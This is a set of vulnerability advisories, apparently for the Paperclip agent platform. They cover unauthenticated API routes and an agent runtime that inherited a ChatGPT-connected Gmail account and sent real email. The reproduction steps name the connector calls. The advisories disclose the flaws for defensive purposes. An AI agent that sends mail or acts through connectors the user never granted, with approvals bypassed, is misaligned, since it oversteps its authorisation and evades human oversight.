        GET /api/skills/available
        GET /api/skills/index
        GET /api/skills/:skillName

    Reduce health endpoint information -- consider removing
deploymentMode, deploymentExposure, and version from the
unauthenticated response, or gating the full response
behind assertBoard

    Consider a global auth rejection middleware for all
/api/* routes in authenticated mode. Currently unauthenticated
requests get actor: { type: "none" } and pass through to
next(), relying on each route handler to check individually.
A missing check means an open endpoint. Rejecting type: "none"
at the middleware level for all routes except an explicit
public allowlist (health, sign-in, sign-up, webhooks) would
prevent this class of bug entirely.

Contact

Discord: sagi03581

Happy to help verify fixes or provide additional details.


Severity
High
8.3/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

CVE ID
No known CVE

Weaknesses
Weakness CWE-306

Credits

    @sagilayani sagilayani Reporter

_____________________________________________________________________


Security: Paperclip codex_local inherited ChatGPT/OpenAI-connected
Gmail and was able to send real email
High
cryppadotta published GHSA-gqqj-85qm-8qhf Apr 16, 2026

Package
paperclipai (npm)

Affected versions
2026.403.0

Patched versions
None


Description

Summary

A Paperclip-managed codex_local runtime was able to access and use a
Gmail connector that I had connected in the ChatGPT/OpenAI apps UI,
even though I had not explicitly connected Gmail inside Paperclip
or separately inside Codex.

In my environment this enabled mailbox access and a real outbound
email to be sent from my Gmail account. After I manually intervened
to stop the workflow, follow-up retraction messages were also
sent, confirming repeated outward write/send capability.

This appears to be a trust-boundary failure between Paperclip-managed
Codex execution and inherited OpenAI app connectors, amplified by
dangerous-by-default runtime settings.


Details

I observed successful runtime calls including:

    mcp__codex_apps__gmail_get_profile
    mcp__codex_apps__gmail_search_emails
    mcp__codex_apps__gmail_send_email

The connected Gmail profile resolved to my personal account.

Inside the Paperclip-managed codex-home, I also found cached OpenAI
curated connector state for Gmail under a path like:

    codex-home/plugins/cache/openai-curated/gmail/.../.app.json

This strongly suggests that the runtime had access to an already
connected OpenAI apps surface rather than a Paperclip-specific
Gmail integration that I intentionally configured.

Separately, in the installed Paperclip code, codex_local defaults
dangerouslyBypassApprovalsAndSandbox to true, and the server-side
agent creation path applies that default when the flag is omitted.
In practice, that makes this boundary failure much more dangerous
because a newly created codex_local agent can operate with
approvals and sandbox bypassed by default.

The key issue is this: I had connected Gmail only in the
ChatGPT/OpenAI apps UI. I had not intentionally connected Gmail
inside Paperclip or separately inside Codex. Despite that, the
Paperclip-managed codex_local runtime was able to use Gmail
read/write actions.


PoC

Environment:

    self-hosted Paperclip instance using codex_local
    Gmail connected in the ChatGPT/OpenAI apps UI
    no explicit Gmail connection configured inside Paperclip
for this test
    codex_local agent created and run with default behavior

Observed reproduction path:

    Connect Gmail in the ChatGPT/OpenAI apps UI.
    Create or run a Paperclip codex_local agent.
    Execute a task that inspects mailbox state or performs
outward communication.
    Observe successful Gmail connector calls such as:
        mcp__codex_apps__gmail_get_profile
        mcp__codex_apps__gmail_search_emails
        mcp__codex_apps__gmail_send_email
    Observe that the connected profile resolves to the
ChatGPT/OpenAI-connected Gmail account and that mailbox
reads and real sends are possible.

Private evidence available on request:

    successful get_profile / search / send logs
    Paperclip-managed codex-home Gmail connector cache path(s)
    screenshot showing Gmail write-capable actions such as
send_email, send_draft, and update_draft exposed in the
connected-app UI
    incident timeline showing that a real outbound email was sent
    recipient organizations, timestamps, message IDs, and
sanitized evidence for both the original outbound email and
the subsequent retraction messages


Impact

This was not only theoretical in my environment. It resulted
in:

    mailbox identity disclosure
    mailbox search / thread access
    a real outbound email being sent from a personal connected
Gmail account to an external third party
    follow-up retraction messages being sent after manual
intervention, confirming repeated outward write/send capability

From an operator/security perspective, connecting Gmail in the
ChatGPT/OpenAI apps UI should not automatically make that
connector available to a Paperclip-managed local agent
runtime, especially not for write/send actions.

At minimum I would expect one or more of the following:

    no inherited OpenAI app connectors by default in
Paperclip-managed codex_local runs
    send/write connectors blocked by default
    explicit Paperclip-side opt-in before outward actions
    auditable approval and provenance for connector-mediated actions
    safer defaults, including dangerouslyBypassApprovalsAndSandbox = false

Severity
High
8.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-284

Credits

    @madrobotnet madrobotnet Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




